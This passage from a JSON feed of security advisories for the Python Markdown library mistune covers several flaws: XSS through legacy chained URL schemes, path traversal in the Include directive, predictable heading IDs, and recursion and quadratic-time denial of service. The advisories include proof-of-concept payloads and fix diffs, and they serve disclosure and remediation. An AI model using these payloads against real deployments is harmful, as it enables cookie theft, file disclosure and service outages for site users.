AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. An attacker can crash any server process using mistune with approximately 2KB of Markdown input. In web applications, this can be triggered through user-generated content such as forum posts or comments, causing denial of service for all concurrent users sharing the same Python process. Both mistune.markdown() and mistune.html() are affected.\n\n## Remediation\n1. Add a maximum nesting depth limit in the emphasis parsing stage, similar to BlockParser's max_nested_level mechanism (currently at DEFAULT_MAX_NESTED_LEVEL = 20). When the limit is exceeded, treat excess emphasis markers as literal text. 2. Alternatively, refactor HTMLRenderer to use an explicit stack-based iterative approach instead of recursive calls for rendering nested tokens. 3. As a defense-in-depth measure, document the recursion risk and recommend that applications deploying mistune set a higher recursion limit or implement request-level timeouts.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-02T15:14:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/lepture/mistune/security/advisories/GHSA-6m44-fpc8-c3rq","https://nvd.nist.gov/vuln/detail/CVE-2026-76098","https://github.com/lepture/mistune/commit/0938fb781d0aded99de801b340ec1f8debeae5b2","https://github.com/lepture/mistune/releases/tag/v3.3.3","https://github.com/advisories/GHSA-6m44-fpc8-c3rq"],"source_kind":"github","identifiers":["GHSA-6m44-fpc8-c3rq","CVE-2026-76098"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-11-14T06:01:53.405Z","epss_percentage":0.00488,"epss_percentile":0.4252,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bTQ0LWZwYzgtYzNycc4ABodc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02bTQ0LWZwYzgtYzNycc4ABodc","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.3"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bTQ0LWZwYzgtYzNycc4ABodc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZnJ3LTVyeG0tbWhoMs4ABcQu","url":"https://github.com/advisories/GHSA-qfrw-5rxm-mhh2","title":"Mistune renderers/html.safe_url: HARMFUL_PROTOCOLS list misses legacy and chained schemes that historically chain to `javascript:` execution","description":"## Summary\n\n**Type:** URL-scheme allowlist gap. The `safe_url` filter only blocks the four schemes `javascript:`, `vbscript:`, `file:`, `data:`. Several other schemes are accepted into rendered `\u003ca href=\"...\"\u003e` and `\u003cimg src=\"...\"\u003e` tags despite being known XSS vectors in legacy or chain-handling browsers. The same gap applies to direct links, reference links, and autolinks.\n**File:** `src/mistune/renderers/html.py`, line 11-23 (HARMFUL_PROTOCOLS list).\n**Root cause:** the HARMFUL_PROTOCOLS tuple is a hardcoded, opt-out denylist of four entries. Browsers historically supported (and some still partially support) several other schemes that either execute JavaScript directly (`livescript:`, `mocha:`) or wrap a `javascript:` payload (`feed:javascript:`, `view-source:javascript:`, `jar:javascript:`, `ms-its:javascript:`, `mk:@MSITStore:javascript:`). On user-agents that still recognise these schemes (older Firefox builds for `feed:`/`jar:`, all Internet Explorer / Edge Legacy for `ms-its:`/`mk:`/`res:`, niche chrome-style browsers, browser extensions that register custom protocol handlers), clicking a link rendered by mistune executes attacker-controlled JavaScript in the page's origin.\n\n## Affected Code\n\n**File:** `src/mistune/renderers/html.py`, lines 10-62.\n\n```python\nclass HTMLRenderer(BaseRenderer):\n    HARMFUL_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n        \"javascript:\",\n        \"vbscript:\",\n        \"file:\",\n        \"data:\",\n    )                                                         # \u003c-- BUG: incomplete denylist\n    GOOD_DATA_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n        \"data:image/gif;\",\n        \"data:image/png;\",\n        \"data:image/jpeg;\",\n        \"data:image/webp;\",\n    )\n\n    def safe_url(self, url: str) -\u003e str:\n        if self._allow_harmful_protocols is True:\n            return escape_text(url)\n        _url = url.lower()\n        if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n            return escape_text(url)\n        if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):\n            return \"#harmful-link\"\n        return escape_text(url)                               # \u003c-- BUG: any scheme not in HARMFUL_PROTOCOLS passes through\n```\n\n**Why it's wrong:** an opt-out denylist for URL schemes is the wrong shape. The set of schemes a user-agent might honour is unbounded (registered handlers, browser extensions, OS-level protocol registrations, custom intent handlers on Android, etc.), but the set of schemes a markdown renderer needs to allow is small (`http://`, `https://`, `mailto:`, optionally `tel:`, `ftp:`, fragment-only `#anchor`, and a few image-only `data:` types). Switching to an opt-in allowlist with a `safe_extra_protocols` knob for callers who need others would close every variant of this bug class permanently. The current code accepts every chained-scheme XSS vector for as long as the project remembers to keep the denylist current.\n\n## Exploit Chain\n\n1. Application accepts attacker-supplied markdown and renders it with mistune. The default `escape=True` prevents raw HTML, but link href/image src filtering is the only XSS defense for `[click](...)` and `![alt](...)` syntax.\n2. Attacker writes `[click here](feed:javascript:alert(document.cookie))`. mistune's `safe_url` checks `feed:javascript:alert(document.cookie)` against `HARMFUL_PROTOCOLS = ('javascript:', 'vbscript:', 'file:', 'data:')` — none match. The href is escape_text'd (HTML-entity escape) and emitted as `\u003ca href=\"feed:javascript:alert(document.cookie)\"\u003eclick here\u003c/a\u003e`.\n3. Victim using a Firefox build that still has the feed handler registered (extension, configuration, or LTS that retained the feed reader past the 64.0 removal — including some forks and ESR builds) clicks the link. Firefox's feed handler invokes the inner URL, which is `javascript:alert(...)`. JS executes in the page's origin. Victim's session cookie is exfiltrated.\n4. Same pattern for `livescript:alert(1)` (Netscape Communicator era, still recognised by some niche browsers / browser-emulator tools), `view-source:javascript:alert(1)` (Firefox, see CVE-2009-1938), `jar:javascript:alert(1)` (older Firefox), `ms-its:javascript:` (IE/Edge Legacy), `res:javascript:` (IE), `mk:@MSITStore:javascript:` (IE CHM viewer). Each user-agent that recognises one of these is exploitable; the user-agent population that recognises at least one is not negligible (corporate environments still running Edge Legacy compatibility mode, locked-down kiosk browsers, Android WebView in apps that register custom intent handlers, Linux distros with old Firefox ESR plus the `feed:` extension, etc.).\n\nThe same primitive applies to image src (`![](feed:javascript:...)` rendered as `\u003cimg src=\"feed:...\"\u003e`) — though most browsers don't fetch javascript: from img src, the same chained handler quirk applies on a few user-agents — and to reference links and autolinks (verified in the PoC below; the rendered HTML is identical regardless of which markdown link syntax is used).\n\n## Security Impact\n\n**Severity:** sec-moderate. Conditional XSS depending on user-agent. Modern Chrome / Edge Chromium / Safari ignore most of these schemes, but Firefox forks, Edge Legacy, in-app WebViews, browser extensions registering custom handlers, and corporate browser deployments are exposed. Defence-in-depth is the framing: a markdown renderer should not need to track which browsers still honour which legacy chained-scheme.\n**Attacker capability:** plant a link in any place the application renders user-supplied markdown. When clicked by a user-agent that honours the legacy scheme, the attacker's JavaScript runs in the page's origin (steal cookies, perform actions as the victim, etc.).\n**Preconditions:** application uses mistune to render attacker-influenced markdown. Default config. Victim user-agent is one of the affected populations. No specific mistune option is required.\n**Differential:** PoC-verified against mistune@3.2.1, default config. The following inputs all PASS the filter and reach the rendered HTML unchanged:\n\n```python\nimport mistune\nmd = mistune.create_markdown()\nfor url in [\n    'feed:javascript:alert(1)',                  # Firefox feed handler chain\n    'livescript:alert(1)',                       # Netscape, niche browsers\n    'mocha:alert(1)',                            # Netscape, niche browsers\n    'view-source:javascript:alert(1)',           # Firefox view-source chain (CVE-2009-1938 class)\n    'jar:javascript:alert(1)',                   # Firefox jar: handler chain\n    'ms-its:javascript:alert(1)',                # IE/Edge Legacy InfoTech Storage handler\n    'mk:@MSITStore:javascript:alert(1)',         # IE CHM viewer chain\n    'res:javascript:',                           # IE resource: handler\n]:\n    print(md(f'[click]({url})').strip())\n\n# Output (each one passes the filter):\n#   \u003cp\u003e\u003ca href=\"feed:javascript:alert(1)\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"livescript:alert(1)\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"mocha:alert(1)\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"view-source:javascript:alert(1)\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"jar:javascript:alert(1)\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"ms-its:javascript:alert(1)\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"mk:@MSITStore:javascript:\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n#   \u003cp\u003e\u003ca href=\"res:javascript:\"\u003eclick\u003c/a\u003e\u003c/p\u003e\n```\n\nFor comparison, the four schemes already in the denylist are correctly blocked: `javascript:`, `vbscript:`, `file:`, `data:text/html` all return `\u003ca href=\"#harmful-link\"\u003e`.\n\nThe same gap applies to reference links (`[click][ref]\\n\\n[ref]: feed:javascript:alert(1)` → `\u003ca href=\"feed:javascript:alert(1)\"\u003e`) and to autolinks (`\u003cfeed:javascript:alert(1)\u003e` → `\u003ca href=\"feed:javascript:alert(1)\"\u003e`).\n\n## Suggested Fix\n\nSwitch from denylist to allowlist. The set of schemes a markdown renderer needs to allow is small and well-known; the set of schemes that might trigger handler chains is unbounded.\n\n```diff\n--- a/src/mistune/renderers/html.py\n+++ b/src/mistune/renderers/html.py\n@@ -7,21 +7,28 @@ class HTMLRenderer(BaseRenderer):\n\n     _escape: bool\n     NAME: ClassVar[Literal[\"html\"]] = \"html\"\n-    HARMFUL_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n-        \"javascript:\",\n-        \"vbscript:\",\n-        \"file:\",\n-        \"data:\",\n-    )\n+    SAFE_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n+        \"http:\",\n+        \"https:\",\n+        \"mailto:\",\n+        \"tel:\",\n+        \"ftp:\",\n+        \"ftps:\",\n+        \"irc:\",\n+        \"ircs:\",\n+    )\n     GOOD_DATA_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n         \"data:image/gif;\",\n         \"data:image/png;\",\n         \"data:image/jpeg;\",\n         \"data:image/webp;\",\n     )\n\n@@ -49,15 +56,21 @@ class HTMLRenderer(BaseRenderer):\n     def safe_url(self, url: str) -\u003e str:\n-        if self._allow_harmful_protocols is True:\n-            return escape_text(url)\n-\n-        _url = url.lower()\n-        if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n-            return escape_text(url)\n-\n-        if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):\n-            return \"#harmful-link\"\n-        return escape_text(url)\n+        # Allow-list: only schemes in SAFE_PROTOCOLS, image-only data: URLs in\n+        # GOOD_DATA_PROTOCOLS, scheme-relative URLs (//host/path), absolute\n+        # paths (/path), and anchor-only references (#fragment) reach the\n+        # rendered output. Everything else is replaced with '#harmful-link'.\n+        if self._allow_harmful_protocols is True:\n+            return escape_text(url)\n+        _url = url.lower().lstrip()\n+        if (\n+            _url.startswith(self.SAFE_PROTOCOLS)\n+            or _url.startswith(self.GOOD_DATA_PROTOCOLS)\n+            or _url.startswith((\"/\", \"#\", \"?\"))\n+            or \":\" not in _url.split(\"/\", 1)[0]   # bare relative path\n+        ):\n+            return escape_text(url)\n+        if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n+            return escape_text(url)\n+        return \"#harmful-link\"\n```\n\nThe `allow_harmful_protocols` option is preserved, so callers who genuinely want to allow a custom scheme can still opt in. The `lower().lstrip()` also closes the leading-whitespace evasion sub-case (e.g., ` javascript:` is already blocked by the current code via `lower().startswith`, but the same pattern needs to apply on the new allowlist branch). Add regression tests for each scheme listed in the PoC above asserting they resolve to `#harmful-link`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:35:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-qfrw-5rxm-mhh2","https://nvd.nist.gov/vuln/detail/CVE-2026-59929","https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2217.yaml","https://github.com/advisories/GHSA-qfrw-5rxm-mhh2"],"source_kind":"github","identifiers":["GHSA-qfrw-5rxm-mhh2","CVE-2026-59929"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-11-04T06:03:29.178Z","epss_percentage":0.00341,"epss_percentile":0.27565,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZnJ3LTVyeG0tbWhoMs4ABcQu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZnJ3LTVyeG0tbWhoMs4ABcQu","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZnJ3LTVyeG0tbWhoMs4ABcQu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yaG0yLWhjM3YtNDRoOc4ABcQt","url":"https://github.com/advisories/GHSA-2hm2-hc3v-44h9","title":"Mistune toc / TableOfContents directive: heading IDs use predictable `toc_N` numbering with no slugification, allowing collision with attacker-controlled `id=\"toc_N\"` content","description":"## Summary\n\n**Type:** Predictable identifier generation. The `toc` plugin and `TableOfContents` directive both default to generating heading IDs of the form `toc_1`, `toc_2`, `toc_3`, ... with no input-derived component. An attacker who can place a heading anywhere in the document can predict which `toc_N` ID it will receive, and can inject HTML elsewhere (in a non-heading context) that uses the same `id=\"toc_N\"` to either (a) shadow the legitimate heading anchor, breaking same-page navigation, or (b) collide with CSS or JavaScript that targets `#toc_N` selectors, redirecting click handlers and styling to attacker-chosen content.\n**File:** `src/mistune/toc.py` line 36-37 (`heading_id = lambda token, index: \"toc_\" + str(index + 1)`); `src/mistune/directives/toc.py` line 33 (same default).\n**Root cause:** the default `heading_id` callback ignores the heading's text content and uses only the headings's order in the document. Two documents rendered together (or one document with attacker-influenced headings spliced into trusted content) produce overlapping `toc_N` IDs. Because `id` attribute uniqueness is required by HTML, browsers behaviour on duplicate IDs is undefined; `document.getElementById('toc_1')` returns the first match, `getElementsByTagName + querySelector` semantics differ across paths, and CSS rules targeting `#toc_1` apply to whichever element matches first in tree order.\n\n## Affected Code\n\n**File:** `src/mistune/toc.py`, lines 33-39.\n\n```python\ndef add_toc_hook(md, min_level=1, max_level=3, heading_id=None):\n    if heading_id is None:\n        def heading_id(token, index):\n            return \"toc_\" + str(index + 1)               # \u003c-- BUG: index-only ID, no slug derived from heading text\n```\n\n**File:** `src/mistune/directives/toc.py`, lines 32-33.\n\n```python\nclass TableOfContents(DirectivePlugin):\n    def __init__(self, min_level=1, max_level=3):\n        # ...\n\n    def generate_heading_id(self, token, index):\n        return \"toc_\" + str(index + 1)                   # \u003c-- BUG: same predictable scheme\n```\n\n**Why it's wrong:** the standard markdown-engine convention (used by GitHub-flavoured Markdown, Sphinx, MkDocs, pandoc, every modern markdown renderer in production) is to slugify the heading TEXT for the ID — `\u003ch1 id=\"introduction\"\u003eIntroduction\u003c/h1\u003e` — with a numeric suffix appended only when slug collisions occur. mistune's default punts the slugification entirely and produces purely positional IDs that an attacker can predict in O(1).\n\nThe downstream impacts:\n- Same-page links with `[click](#toc_1)` go to whichever element with `id=\"toc_1\"` appears first in tree order. If the attacker can land any HTML element with `id=\"toc_1\"` before the real heading (via inline_html with `escape=False`, via the include-directive HTML branch, via attacker-supplied content earlier in the document), navigation is hijacked.\n- CSS rules targeting `#toc_1` apply to the wrong element.\n- JavaScript bound to `document.getElementById('toc_1')` operates on the wrong element.\n- The TOC's own `\u003ca href=\"#toc_1\"\u003e` link in the rendered TOC list points to whichever element wins the duplicate-ID race.\n\n## Exploit Chain\n\n1. Application uses mistune with `add_toc_hook(md)` or `TableOfContents` directive enabled (the documented setup for sites with TOC support).\n2. Application renders an attacker-supplied document, or splices attacker content into a trusted document. With `escape=False` (or via the include-directive `.html` branch covered by my prior advisory), the attacker can place `\u003ca id=\"toc_1\"\u003e...\u003c/a\u003e` anywhere in the document.\n3. mistune assigns `id=\"toc_1\"` to the first heading. Now there are two elements with `id=\"toc_1\"` in the page.\n4. The rendered TOC contains `\u003ca href=\"#toc_1\"\u003eFirst heading\u003c/a\u003e`. Clicking it navigates to whichever element with `id=\"toc_1\"` appears first in tree order. If the attacker placed their `\u003ca id=\"toc_1\"\u003e` BEFORE the heading, navigation is hijacked.\n5. Same-page CSS / JS / aria-described references to `#toc_1` similarly redirect.\n\n## Security Impact\n\n**Severity:** sec-low. Not a direct XSS or RCE; the issue is identifier confusion that enables UI-redirection / navigation-hijack attacks. The realistic attacker capability is \"make an internal anchor link go to attacker content instead of the real heading\", or \"make a CSS selector apply to attacker content\", or \"break aria/screen-reader associations\".\n**Attacker capability:** with the ability to plant any HTML element with `id=\"toc_N\"` in the document, hijack `\u003ca href=\"#toc_N\"\u003e` navigation and any CSS/JS targeting that ID. With `escape=False`, this is straightforward. With `escape=True`, the attacker needs another vector to land a raw `id` attribute (one of the include-directive branches, a sibling tooling pipeline that lets HTML through, etc.).\n**Preconditions:** application uses TOC + the default `heading_id` callback. If the application provides its own `heading_id` (e.g., one based on slugified heading text, with collision suffixes), this finding does not apply.\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune\nfrom mistune.directives import RSTDirective, TableOfContents\nmd = mistune.create_markdown(plugins=[RSTDirective([TableOfContents()])])\n\nprint(md('''\n.. toc::\n\n# Heading 1\n\n# Heading 2\n'''))\n\n# Output (note: id=\"toc_1\" / id=\"toc_2\", purely positional):\n# \u003cdetails class=\"toc\" open\u003e\n#   \u003csummary\u003eTable of Contents\u003c/summary\u003e\n#   \u003cul\u003e\n#     \u003cli\u003e\u003ca href=\"#toc_1\"\u003eHeading 1\u003c/a\u003e\u003c/li\u003e\n#     \u003cli\u003e\u003ca href=\"#toc_2\"\u003eHeading 2\u003c/a\u003e\u003c/li\u003e\n#   \u003c/ul\u003e\n# \u003c/details\u003e\n# \u003ch1 id=\"toc_1\"\u003eHeading 1\u003c/h1\u003e\n# \u003ch1 id=\"toc_2\"\u003eHeading 2\u003c/h1\u003e\n```\n\nThe patched build (with the suggested fix below) produces text-derived slugs like `id=\"heading-1\"` and `id=\"heading-2\"`, which are tied to content rather than position.\n\n## Suggested Fix\n\nDefault to slugifying the heading text:\n\n```diff\n--- a/src/mistune/toc.py\n+++ b/src/mistune/toc.py\n@@ -33,9 +33,18 @@ def add_toc_hook(md, min_level=1, max_level=3, heading_id=None):\n     if heading_id is None:\n+        import re\n+        _slug_re = re.compile(r\"[^a-z0-9]+\")\n+        seen = {}\n         def heading_id(token, index):\n-            return \"toc_\" + str(index + 1)\n+            text = striptags(md.renderer(md.inline(token[\"text\"], {}), BlockState()))\n+            slug = _slug_re.sub(\"-\", text.lower()).strip(\"-\") or \"section\"\n+            n = seen.get(slug, 0)\n+            seen[slug] = n + 1\n+            return slug if n == 0 else f\"{slug}-{n}\"\n```\n\nSame change applies to `src/mistune/directives/toc.py:33`. Existing applications that have hardcoded `#toc_N` anchors will break; document the migration in the changelog and consider providing an opt-out flag for the legacy behaviour. Add a regression test that asserts heading IDs are slug-derived, not position-derived, and that collisions get a `-N` suffix.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:35:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-2hm2-hc3v-44h9","https://nvd.nist.gov/vuln/detail/CVE-2026-59930","https://github.com/lepture/mistune/commit/c4093c4742ed0d10d9332fb8edb455869b7b581b","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2218.yaml","https://github.com/advisories/GHSA-2hm2-hc3v-44h9"],"source_kind":"github","identifiers":["GHSA-2hm2-hc3v-44h9","CVE-2026-59930"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-10-26T21:02:11.201Z","epss_percentage":0.00192,"epss_percentile":0.08735,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yaG0yLWhjM3YtNDRoOc4ABcQt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yaG0yLWhjM3YtNDRoOc4ABcQt","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yaG0yLWhjM3YtNDRoOc4ABcQt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNHJ2LTg1amctdzRtZs4ABcQs","url":"https://github.com/advisories/GHSA-r4rv-85jg-w4mf","title":"Mistune: Arbitrary File Read via Include directive path traversal","description":"### Summary\n\nA path traversal issue exists in mistune's `Include` directive when markdown files are processed using `md.read()`. A crafted include path can cause files outside the intended markdown directory to be accessed.\n\n### Details\n\nThe issue occurs in the `Include.parse()` method where user-supplied paths are joined and normalized without verifying that the resulting path remains within an expected directory.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n```\n\nBecause the final path is not restricted to a trusted base directory, path traversal sequences such as `../` may reference files outside the intended location.\n\n### Proof of Concept\n\nCreate a markdown file:\n\n```markdown\n.. include:: ../../../example.txt\n```\n\nProcess it using:\n\n```python\nimport mistune\nfrom mistune.directives import RSTDirective, Include\n\nmd = mistune.create_markdown(\n    plugins=[RSTDirective([Include()])]\n)\n\nresult, state = md.read(\"test.md\")\nprint(result)\n```\n\n### Impact\n\nApplications that process untrusted markdown files with the `Include` directive enabled may allow unintended file access. The impact depends on how the feature is used and what files are accessible to the running process.\n\n### Recommended Fix\n\nValidate the resolved path and ensure it remains within an allowed directory before opening the file.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:34:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-r4rv-85jg-w4mf","https://nvd.nist.gov/vuln/detail/CVE-2026-59924","https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2212.yaml","https://github.com/advisories/GHSA-r4rv-85jg-w4mf"],"source_kind":"github","identifiers":["GHSA-r4rv-85jg-w4mf","CVE-2026-59924"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-11-12T04:03:09.103Z","epss_percentage":0.00462,"epss_percentile":0.40508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNHJ2LTg1amctdzRtZs4ABcQs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNHJ2LTg1amctdzRtZs4ABcQs","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNHJ2LTg1amctdzRtZs4ABcQs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jOGo3LThjdjQtMnhtcc4ABcQr","url":"https://github.com/advisories/GHSA-c8j7-8cv4-2xmq","title":"Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)","description":"## Summary\n\n**Type:** Algorithmic-complexity denial of service. A run of N closed pairs `~~x~~~~x~~...` (or the analogous `==x==` for `mark`, `^^x^^` for `insert`) causes O(N²) work in the formatting parser. With the `strikethrough`, `mark`, or `insert` plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds. \n**File:** `src/mistune/plugins/formatting.py`, lines 13-15 (the `_STRIKE_END` / `_MARK_END` / `_INSERT_END` patterns and their per-position scan).\n**Root cause:** for each opening `~~`/`==`/`^^` the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like `~~x~~` repeated N times, every `~~` is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.\n\n## Affected Code\n\n**File:** `src/mistune/plugins/formatting.py`, lines 12-16.\n\n```python\n_STRIKE_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\~|[^\\s~])~~(?!~)\")\n_MARK_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\=|[^\\s=])==(?!=)\")\n_INSERT_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\^|[^\\s^])\\^\\^(?!\\^)\")\n# Each pattern is scanned forward from every start position fired by the\n# corresponding inline rule. The end-pattern itself is bounded; the cost\n# comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^'\n# token in the input, giving N starts × O(N) per scan = O(N^2) total.\n```\n\n**Why it's wrong:** the same algorithmic-complexity flaw class as `[` / `[a` parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how `commonmark-py` and `markdown-it-py` handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (`plugins=['strikethrough']`, `['mark']`, `['insert']`, or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires `~~strikethrough~~` and many editors emit `==highlighting==` and `^^underline^^` shortcuts.\n2. Attacker submits an 8 KB markdown payload of the form `~~x~~~~x~~~~x~~...` (40 000 characters of `~~x~~` repeated 8000 times, or the analogous shape with `==` / `^^`).\n3. Server calls `mistune.create_markdown(plugins=['strikethrough'])(payload)`. CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth.\n4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common.\n**Attacker capability:** small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.\n**Preconditions:** application uses mistune with any of `strikethrough`, `mark`, or `insert` plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown(plugins=['strikethrough'])\nfor n in [500, 1000, 2000, 4000, 8000]:\n    s = '~~x~~' * n\n    t = time.time()\n    md(s)\n    print(f'  ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ~~x~~ *  500  (2500b):    19ms\n#   ~~x~~ * 1000  (5000b):    71ms\n#   ~~x~~ * 2000 (10000b):   272ms\n#   ~~x~~ * 4000 (20000b):  1090ms\n#   ~~x~~ * 8000 (40000b):  4302ms\n\n# Identical scaling for `==x==` (mark) and `^^x^^` (insert):\nmd = mistune.create_markdown(plugins=['mark'])\nmd('==x==' * 4000)   # ~1100ms\nmd = mistune.create_markdown(plugins=['insert'])\nmd('^^x^^' * 4000)   # ~1080ms\n\n# Without the plugin, the same input parses in linear time:\nmd = mistune.create_markdown()  # no plugins\nmd('~~x~~' * 4000)               # 4ms (1000x faster)\n```\n\nThe patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.\n\n## Suggested Fix\n\nThe minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:\n\n```diff\n--- a/src/mistune/plugins/formatting.py\n+++ b/src/mistune/plugins/formatting.py\n@@ ... in the parse_strikethrough / parse_mark / parse_insert functions\n+    # Bound the number of open markers the parser will track concurrently.\n+    # Inputs with more than this many open ~~ / == / ^^ in flight are\n+    # almost certainly adversarial; CommonMark gives no semantics to\n+    # deeply nested unmatched markers.\n+    MAX_OPEN_MARKERS = 100\n+    if open_marker_count \u003e MAX_OPEN_MARKERS:\n+        # treat remaining 